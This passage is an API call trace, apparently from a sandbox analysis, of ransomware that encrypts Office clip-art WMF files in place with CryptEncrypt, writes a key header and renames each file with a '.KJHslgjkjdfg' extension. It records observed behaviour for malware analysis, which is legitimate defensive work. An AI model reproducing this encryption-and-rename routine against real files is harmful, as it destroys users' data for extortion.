phKey=0x29df274*=0x9b6628) returned 1 [0205.668] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.668] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14c4, lpOverlapped=0x0) returned 1 [0205.669] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14d0) returned 1 [0205.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.669] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14d0, lpOverlapped=0x0) returned 1 [0205.669] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.670] SetEndOfFile (hFile=0x130) returned 1 [0205.672] GetProcessHeap () returned 0x990000 [0205.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.672] GetProcessHeap () returned 0x990000 [0205.672] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.kjhslgjkjdfg")) returned 1 [0205.674] CloseHandle (hObject=0x130) returned 1 [0205.675] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1 [0205.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.676] GetProcessHeap () returned 0x990000 [0205.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.676] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.676] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.676] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.676] GetProcessHeap () returned 0x990000 [0205.676] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.676] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.676] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.676] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.678] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.678] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.679] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x460, lpOverlapped=0x0) returned 1 [0205.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x460, dwBufLen=0x460 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x460) returned 1 [0205.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.679] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x460, lpOverlapped=0x0) returned 1 [0205.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.679] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.679] SetEndOfFile (hFile=0x130) returned 1 [0205.682] GetProcessHeap () returned 0x990000 [0205.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.682] GetProcessHeap () returned 0x990000 [0205.682] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.682] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.kjhslgjkjdfg")) returned 1 [0205.684] CloseHandle (hObject=0x130) returned 1 [0205.684] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1 [0205.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.685] GetProcessHeap () returned 0x990000 [0205.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.685] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.685] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.685] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.685] GetProcessHeap () returned 0x990000 [0205.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.686] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.686] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.686] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.687] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.687] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.688] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.688] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.688] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.688] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x270, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x270, lpOverlapped=0x0) returned 1 [0205.688] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x270, dwBufLen=0x270 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x270) returned 1 [0205.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.689] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x270, lpOverlapped=0x0) returned 1 [0205.689] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.689] SetEndOfFile (hFile=0x130) returned 1 [0205.692] GetProcessHeap () returned 0x990000 [0205.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.692] GetProcessHeap () returned 0x990000 [0205.692] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf.kjhslgjkjdfg")) returned 1 [0205.693] CloseHandle (hObject=0x130) returned 1 [0205.693] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04ab00, ftCreationTime.dwHighDateTime=0x1bd4bfd, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04ab00, ftLastWriteTime.dwHighDateTime=0x1bd4bfd, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01852_.WMF", cAlternateFileName="")) returned 1 [0205.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.694] GetProcessHeap () returned 0x990000 [0205.694] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.694] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.694] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.696] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.696] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.696] GetProcessHeap () returned 0x990000 [0205.696] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.696] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.696] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.696] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.697] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.697] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.697] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.697] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.697] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.697] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.697] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1138, lpOverlapped=0x0) returned 1 [0205.701] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1140, dwBufLen=0x1140 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1140) returned 1 [0205.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.701] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1140, lpOverlapped=0x0) returned 1 [0205.701] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.701] SetEndOfFile (hFile=0x130) returned 1 [0205.704] GetProcessHeap () returned 0x990000 [0205.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.704] GetProcessHeap () returned 0x990000 [0205.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01852_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01852_.wmf.kjhslgjkjdfg")) returned 1 [0205.706] CloseHandle (hObject=0x130) returned 1 [0205.706] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01858_.WMF", cAlternateFileName="")) returned 1 [0205.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.707] GetProcessHeap () returned 0x990000 [0205.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.707] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.709] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.709] GetProcessHeap () returned 0x990000 [0205.709] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.709] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.709] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.710] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.710] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.710] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.710] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.710] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.710] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.710] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x10c8, lpOverlapped=0x0) returned 1 [0205.711] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10d0) returned 1 [0205.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.711] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10d0, lpOverlapped=0x0) returned 1 [0205.712] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.712] SetEndOfFile (hFile=0x130) returned 1 [0205.714] GetProcessHeap () returned 0x990000 [0205.714] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.714] GetProcessHeap () returned 0x990000 [0205.714] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.715] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01858_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01858_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft 